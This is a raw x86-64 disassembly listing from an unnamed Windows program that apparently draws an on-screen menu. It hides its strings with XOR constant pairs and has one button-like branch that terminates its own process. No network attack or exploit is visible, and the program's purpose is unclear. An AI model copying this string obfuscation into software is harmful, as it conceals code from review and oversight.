call fcn.140078ff0
mov edi, eax
mov dword [rbp + 0x3d8], 0x3f800000
mov dword [rbp + 0x3dc], 0x3f800000
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x1338]
call fcn.140082780
mov rbx, rax
lea rcx, [rbp + 0x1340]
call fcn.140082760
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1348]
call fcn.14000c6a0
mov rbx, rax
lea rcx, [rbp + 0x1350]
call fcn.140082760
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x3d8]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x3e0]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x14570]
mov rcx, rsi
call fcn.140093a60
mov qword [rbp + 0x3e8], 0
lea rcx, [rbp + 0x3e8]
call fcn.14008d5f0
movaps xmm7, xmm13
divss xmm7, xmm14
movss dword [rsp + 0x20], xmm10
xorps xmm3, xmm3
xorps xmm2, xmm2
movaps xmm1, xmm7
lea rcx, [rbp + 0x5070]
call fcn.140009b30
mov rcx, rax
call fcn.140078ff0
mov edx, eax
mov ecx, 5
call fcn.140089c10
movss xmm0, dword [0x1401ffa48]
movss dword [rbp + 0x3f0], xmm0
mov dword [rbp + 0x3f4], 0x41f00000
movabs rax, 0xa8aab99bbd68a48
mov qword [rbp + 0x30f0], rax
movabs rax, 0x335c0c650d2dd9b1
mov qword [rbp + 0x30f8], rax
movabs rax, 0x1fffffffe0000000
mov qword [rbp + 0x3100], rax
movabs rcx, 0xe0000000200aa246
mov qword [rbp + 0x3108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rdx, 0x44fecafcd395a96b
mov qword [rbp + 0x3130], rdx
movabs rdx, 0x5f3962045d48b4d0
mov qword [rbp + 0x3138], rdx
mov qword [rbp + 0x3140], rax
mov qword [rbp + 0x3148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x30f0]
pxor xmm0, xmmword [rbp + 0x3130]
movdqa xmmword [rbp + 0x71c0], xmm0
movdqa xmm1, xmmword [rbp + 0x3100]
pxor xmm1, xmmword [rbp + 0x3140]
movdqa xmmword [rbp + 0x71d0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x71e0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x71f0], xmm5
lea rax, [rbp + 0xdc30]
lea rcx, [rbp + 0x71c0]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006e910
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xdc30]
call fcn.140076750
lea rcx, [rbp + 0x1358]
call fcn.140082780
movss xmm6, dword [rax]
movsxd rax, dword [0x140200788]
imul rcx, rax, 0x278
add rcx, qword [0x140200858]
call fcn.14005a470
mov rdx, rax
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1360]
call fcn.1400780a0
subss xmm6, dword [rax]
mulss xmm6, xmm11
movss dword [rbp + 0x560], xmm6
mov dword [rbp + 0x564], 0x40e00000
lea rcx, [rbp + 0x560]
call fcn.14008d5f0
movsxd rax, dword [0x140200788]
imul rcx, rax, 0x278
add rcx, qword [0x140200858]
call fcn.14005a470
mov rbx, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm8
lea rcx, [rbp + 0x4ff0]
call fcn.140009b30
mov rdx, rbx
mov rcx, rax
call fcn.1400ae890
movss xmm0, dword [0x1401ffa48]
subss xmm0, xmm15
movss dword [rbp + 0x3f8], xmm0
mov dword [rbp + 0x3fc], 0x40c00000
lea rcx, [rbp + 0x3f8]
call fcn.14008d5f0
call fcn.14007f260
mov dword [rbp + 0x400], 0x40400000
mov dword [rbp + 0x404], 0x42000000
lea rcx, [rbp + 0x400]
call fcn.14008d5f0
movss xmm0, dword [0x1401ffa48]
subss xmm0, dword [0x14011409c]
movss dword [rbp + 0x408], xmm0
mov dword [rbp + 0x40c], 0x42aa0000
movabs rax, 0x151de75032407ce3
mov qword [rbp + 0x2910], rax
movabs rax, 0x7b3ffcf711b7b1cf
mov qword [rbp + 0x2918], rax
xorps xmm2, xmm2
movabs rax, 0x7d5e88365c095fc0
mov qword [rbp + 0x2930], rax
movabs rax, 0x7b3ffcf711c3d0aa
mov qword [rbp + 0x2938], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2910]
pxor xmm0, xmmword [rbp + 0x2930]
movdqa xmmword [rbp + 0x8090], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80a0], xmm2
lea rcx, [rbp + 0xb350]
lea rax, [rbp + 0x8090]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0xb350]
call fcn.140076750
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 8]
call fcn.140089770
movabs rax, 0x1e56202684ce6eef
mov qword [rbp + 0x3170], rax
movabs rax, 0x4d8fb492f274a6b4
mov qword [rbp + 0x3178], rax
movabs rax, 0x40fc9fab532f0ed
mov qword [rbp + 0x3180], rax
movabs rax, 0x36f619be5470a348
mov qword [rbp + 0x3188], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x3e335348e1ad07a3
mov qword [rbp + 0x31b0], rcx
movabs rcx, 0x24fbd5e09b04ded1
mov qword [rbp + 0x31b8], rcx
movabs rcx, 0x2435e994dc129e82
mov qword [rbp + 0x31c0], rcx
mov qword [rbp + 0x31c8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x3170]
pxor xmm0, xmmword [rbp + 0x31b0]
movdqa xmmword [rbp + 0x9780], xmm0
movdqa xmm1, xmmword [rbp + 0x3180]
pxor xmm1, xmmword [rbp + 0x31c0]
movdqa xmmword [rbp + 0x9790], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x97a0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x97b0], xmm5
lea rax, [rbp + 0xf720]
lea rcx, [rbp + 0x9780]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006ecb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rbp + 0xf720]
lea rcx, [rbp + 0x14968]
call fcn.140009160
movsxd rax, dword [0x140200788]
imul rdx, rax, 0x278
add rdx, qword [0x140200858]
lea rcx, [rbp + 0x12640]
call fcn.140009d20
mov rdx, rax
lea rcx, [rbp + 0x4f10]
call fcn.1400507e0
mov rcx, rax
call fcn.14005a470
mov rdx, rax
lea rcx, [rbp + 0x14968]
call fcn.14000c740
lea rcx, [rbp + 0x4f10]
call fcn.14000b160
lea rcx, [rbp + 0x1368]
call fcn.140082780
movss xmm6, dword [rax]
lea rcx, [rbp + 0x14968]
call fcn.14005a470
mov rdx, rax
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x1370]
call fcn.1400780a0
subss xmm6, dword [rax]
mulss xmm6, xmm11
movss dword [rbp + 0x410], xmm6
mov dword [rbp + 0x414], 0x41200000
lea rcx, [rbp + 0x410]
call fcn.14008d5f0
lea rcx, [rbp + 0x14968]
call fcn.14005a470
mov rbx, rax
mov eax, 0x8e6b73d6
mov qword [rbp + 0xda0], rax
movabs rsi, 0xffffffff6befd9c2
mov qword [rbp + 0xda8], rsi
mov eax, 0x8e6b00f3
mov qword [rbp + 0xdb0], rax
mov qword [rbp + 0xdb8], rsi
movdqa xmm0, xmmword [rbp + 0xdb0]
pxor xmm0, xmmword [rbp + 0xda0]
movaps xmmword [rbp + 0x3900], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x3910], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x3920], xmm0
movss xmm0, dword [0x140114074]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x4fb0]
call fcn.140009b30
mov r8, rbx
lea rdx, [rbp + 0x3900]
mov rcx, rax
call fcn.1400ae890
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x4fa0]
call fcn.140009b30
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140089bb0
mov dword [rbp + 0x418], 0x41c80000
mov dword [rbp + 0x41c], 0x42200000
lea rcx, [rbp + 0x418]
call fcn.14008d5f0
mov dword [rbp + 0x420], 0x42480000
mov dword [rbp + 0x424], 0x41b00000
movabs rax, 0x654ae4ceeb34eb4
mov qword [rbp + 0xdc0], rax
movabs rsi, 0x17a8ab9f778be13f
mov qword [rbp + 0xdc8], rsi
movabs rax, 0x654c52f8ff16e88
mov qword [rbp + 0xdd0], rax
mov qword [rbp + 0xdd8], rsi
movdqa xmm0, xmmword [rbp + 0xdc0]
pxor xmm0, xmmword [rbp + 0xdd0]
movaps xmmword [rbp + 0x47e0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x47f0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4800], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4810], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4820], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4830], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4840], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x47e0]
call fcn.1400a5fd0
test al, al
je 0x14006ef9d
mov byte [0x1402007a0], 0
mov byte [0x1402007a1], 0
mov byte [0x1402007a2], 0
mov dword [0x1402007a4], 0
mov dword [rbp + 0x428], 0x42be0000
mov dword [rbp + 0x42c], 0x42200000
lea rcx, [rbp + 0x428]
call fcn.14008d5f0
mov dword [rbp + 0x430], 0x43390000
mov dword [rbp + 0x434], 0x41b00000
movabs rax, 0x51030ca31d80a63
mov qword [rbp + 0x28d0], rax
movabs rax, 0x64aae528d1b0c11d
mov qword [rbp + 0x28d8], rax
xorps xmm2, xmm2
movabs rax, 0x6d5310be43b97e30
mov qword [rbp + 0x28f0], rax
movabs rax, 0x64aae528d1c4a078
mov qword [rbp + 0x28f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x28f0]
pxor xmm0, xmmword [rbp + 0x28d0]
movdqa xmmword [rbp + 0x7d50], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x7d60], xmm1
lea rcx, [rbp + 0xb1d0]
lea rax, [rbp + 0x7d50]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xb1d0]
call fcn.1400a5fd0
test al, al
je 0x14006f2cc
cmp byte [0x14020079f], 0
je 0x14006f2cc
cmp byte [section..data], 0
je 0x14006f1a9
movabs rax, 0x145573573b92851b
mov qword [rbp + 0xde0], rax
movabs rax, 0x17a6309b2204c64e
mov qword [rbp + 0xde8], rax
movabs rcx, 0x145546650da2b622
mov qword [rbp + 0xdf0], rcx
mov qword [rbp + 0xdf8], rax
movdqa xmm0, xmmword [rbp + 0xde0]
pxor xmm0, xmmword [rbp + 0xdf0]
movaps xmmword [rbp + 0x4700], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4710], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4720], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4730], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4740], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4750], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4760], xmm0
or r12d, 0x10
lea rdi, [rbp + 0x3808]
lea rdx, [rbp + 0x4700]
lea rcx, [rbp + 0x5a00]
jmp 0x14006f255
movabs rax, 0x13fe38676a97964d
mov qword [rbp + 0xe00], rax
movabs rax, 0x14f04d983a8602cb
mov qword [rbp + 0xe08], rax
movabs rcx, 0x13fe0d5553aea67f
mov qword [rbp + 0xe10], rcx
mov qword [rbp + 0xe18], rax
movdqa xmm0, xmmword [rbp + 0xe10]
pxor xmm0, xmmword [rbp + 0xe00]
movaps xmmword [rbp + 0x4690], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x46a0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x46b0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x46c0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x46d0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x46e0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x46f0], xmm0
or r12d, 0x20
lea rdi, [rbp + 0x3820]
lea rdx, [rbp + 0x4690]
lea rcx, [rbp + 0x59e0]
movsxd rax, dword [0x140200788]
imul rbx, rax, 0x278
mov dword [rbp - 0x80], r12d
add rbx, qword [0x140200858]
call fcn.140009160
mov r8, rax
mov rdx, rdi
mov rcx, rbx
call fcn.1400b79b0
mov rdx, rax
lea rcx, [rbp + 0x50c0]
call fcn.140009620
mov rcx, rax
call fcn.140010140
test r12b, 0x20
je 0x14006f2b2
and r12d, 0xffffffdf
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3820]
call fcn.14000b550
test r12b, 0x10
je 0x14006f2cc
and r12d, 0xffffffef
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x3808]
call fcn.14000b550
mov dword [rbp + 0x438], 0x43960000
mov dword [rbp + 0x43c], 0x42200000
lea rcx, [rbp + 0x438]
call fcn.14008d5f0
mov dword [rbp + 0x440], 0x42b40000
mov dword [rbp + 0x444], 0x41b00000
movabs rax, 0xce26e105fae36c9
mov qword [rbp + 0x2890], rax
movabs rax, 0x667220badeff7bf2
mov qword [rbp + 0x2898], rax
xorps xmm2, xmm2
movabs rax, 0x63ae4e752cc15a8a
mov qword [rbp + 0x28b0], rax
movabs rax, 0x667220baac9a1f93
mov qword [rbp + 0x28b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x28b0]
pxor xmm0, xmmword [rbp + 0x2890]
movdqa xmmword [rbp + 0x8900], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8910], xmm1
lea rcx, [rbp + 0xb920]
lea rax, [rbp + 0x8900]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0xb920]
call fcn.1400a5fd0
test al, al
je 0x14006f41a
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.1400892e0
lea rcx, [rbp + 0x14968]
call fcn.14000b160
call fcn.14007f260
mov ecx, r13d
call fcn.140089430
mov ecx, r13d
call fcn.140089480
call fcn.14007ef40
cmp byte [0x1402007a0], 0
je 0x140070c86
mov qword [rbp + 0x448], 0
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x8c
movd xmm6, eax
cvtdq2ps xmm6, xmm6
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x12c
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x450], xmm0
movss dword [rbp + 0x454], xmm6
lea r8, [rbp + 0x448]
mov edx, 8
lea rcx, [rbp + 0x450]
call fcn.14008d7f0
xor edx, edx
lea rcx, [0x1401ffa48]
call fcn.14008d840
mov qword [rbp + 0x458], 0
lea rdx, [rbp + 0x458]
mov ecx, r13d
call fcn.140089ce0
movabs rax, 0xb4007617b3e5e91
mov qword [rbp + 0x2850], rax
movabs rax, 0x1887eea36c1c447
mov qword [rbp + 0x2858], rax
xorps xmm1, xmm1
movabs rcx, 0xb346604137d7db2
mov qword [rbp + 0x2870], rcx
mov qword [rbp + 0x2878], rax
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x2870]
pxor xmm0, xmmword [rbp + 0x2850]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x840], xmm0
movaps xmmword [rbp + 0x850], xmm2
movaps xmm0, xmmword [rbp + 0x860]
movaps xmmword [rbp + 0x860], xmm0
movaps xmm0, xmmword [rbp + 0x870]
movaps xmmword [rbp + 0x870], xmm0
movaps xmm0, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x880], xmm0
movaps xmm0, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x890], xmm0
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x8a0], xmm0
movaps xmm0, xmmword [rbp + 0x8b0]
movaps xmmword [rbp + 0x8b0], xmm0
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x840]
call fcn.140073dd0
call fcn.140082730
mov rsi, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm9
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x4ee0]
call fcn.140009b30
mov rcx, rax
call fcn.140078ff0
mov edi, eax
mov dword [rbp + 0x460], 0x3f800000
mov dword [rbp + 0x464], 0x3f800000
mov qword [rbp + 0x468], 0
lea rcx, [rbp + 0x1378]
call fcn.140082780
mov rbx, rax
lea rcx, [rbp + 0x1380]
call fcn.140082760
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1388]
call fcn.14000c6a0
mov rbx, rax
lea rcx, [rbp + 0x1390]
call fcn.140082760
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x460]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x468]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x14570]
mov rcx, rsi
call fcn.140093a60
mov qword [rbp + 0x470], 0
lea rcx, [rbp + 0x470]
call fcn.14008d5f0
movaps xmm7, xmm13
divss xmm7, xmm14
movss dword [rsp + 0x20], xmm10
xorps xmm3, xmm3
xorps xmm2, xmm2
movaps xmm1, xmm7
lea rcx, [rbp + 0x4ed0]
call fcn.140009b30
mov rcx, rax
call fcn.140078ff0
mov edx, eax
mov ecx, 5
call fcn.140089c10
movss xmm0, dword [0x1401ffa48]
movss dword [rbp + 0x478], xmm0
mov dword [rbp + 0x47c], 0x41f00000
movabs rax, 0x28564dc62c248d6
mov qword [rbp + 0x31f0], rax
movabs rax, 0x245945b275406918
mov qword [rbp + 0x31f8], rax
movabs rax, 0x1fffffffe0000000
mov qword [rbp + 0x3200], rax
movabs rcx, 0xe0000000200ca80c
mov qword [rbp + 0x3208], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rdx, 0x4cf105b90a816bf5
mov qword [rbp + 0x3230], rdx
movabs rdx, 0x483c2bd325250479
mov qword [rbp + 0x3238], rdx
mov qword [rbp + 0x3240], rax
mov qword [rbp + 0x3248], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x31f0]
pxor xmm0, xmmword [rbp + 0x3230]
movdqa xmmword [rbp + 0x72d0], xmm0
movdqa xmm1, xmmword [rbp + 0x3200]
pxor xmm1, xmmword [rbp + 0x3240]
movdqa xmmword [rbp + 0x72e0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x72f0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7300], xmm5
lea rax, [rbp + 0xdd40]
lea rcx, [rbp + 0x72d0]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006f7b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0xdd40]
call fcn.140076750
lea rcx, [rbp + 0x1398]
call fcn.140082780
movss xmm6, dword [rax]
movsxd rax, dword [0x140200788]
imul rcx, rax, 0x278
add rcx, qword [0x140200858]
call fcn.14005a470
mov rdx, rax
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x13a0]
call fcn.1400780a0
subss xmm6, dword [rax]
mulss xmm6, xmm11
movss dword [rbp + 0x480], xmm6
mov dword [rbp + 0x484], 0x40e00000
lea rcx, [rbp + 0x480]
call fcn.14008d5f0
movsxd rax, dword [0x140200788]
imul rcx, rax, 0x278
add rcx, qword [0x140200858]
call fcn.14005a470
mov rbx, rax
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm8
lea rcx, [rbp + 0x4ec0]
call fcn.140009b30
mov rdx, rbx
mov rcx, rax
call fcn.1400ae890
movss xmm0, dword [0x1401ffa48]
subss xmm0, xmm15
movss dword [rbp + 0x488], xmm0
mov dword [rbp + 0x48c], 0x40c00000
lea rcx, [rbp + 0x488]
call fcn.14008d5f0
call fcn.14007f260
mov dword [rbp + 0x490], 0x40400000
mov dword [rbp + 0x494], 0x42000000
lea rcx, [rbp + 0x490]
call fcn.14008d5f0
movss xmm0, dword [0x1401ffa48]
subss xmm0, dword [0x14011409c]
movss dword [rbp + 0x498], xmm0
mov dword [rbp + 0x49c], 0x42aa0000
movabs rax, 0x15bcd157f415286d
mov qword [rbp + 0x2810], rax
movabs rax, 0x7059e0c8a13c1d3a
mov qword [rbp + 0x2818], rax
xorps xmm2, xmm2
movabs rax, 0x7dffbe319a5c0b4e
mov qword [rbp + 0x2830], rax
movabs rax, 0x7059e0c8a1487c5f
mov qword [rbp + 0x2838], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2810]
pxor xmm0, xmmword [rbp + 0x2830]
movdqa xmmword [rbp + 0x5bd0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x5be0], xmm2
lea rcx, [rbp + 0xb790]
lea rax, [rbp + 0x5bd0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0xb790]
call fcn.140076750
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 8]
call fcn.140089770
movabs rax, 0x72e0f43fa734ab5
mov qword [rbp + 0x10c0], rax
movabs rax, 0x4e0a97169f08f5cf
mov qword [rbp + 0x10c8], rax
movabs rax, 0x1a7048269531fc8d
mov qword [rbp + 0x10d0], rax
movabs rsi, 0x2d16c8559680c69f
mov qword [rbp + 0x10d8], rsi
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x274b7c2d9f1023f9
mov qword [rbp + 0x1100], rax
movabs rax, 0x277ef664f6788daa
mov qword [rbp + 0x1108], rax
movabs rax, 0x3a4a6848fc1192e2
mov qword [rbp + 0x1110], rax
mov qword [rbp + 0x1118], rsi
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x10c0]
pxor xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x9b40], xmm0
movdqa xmm1, xmmword [rbp + 0x10d0]
pxor xmm1, xmmword [rbp + 0x1110]
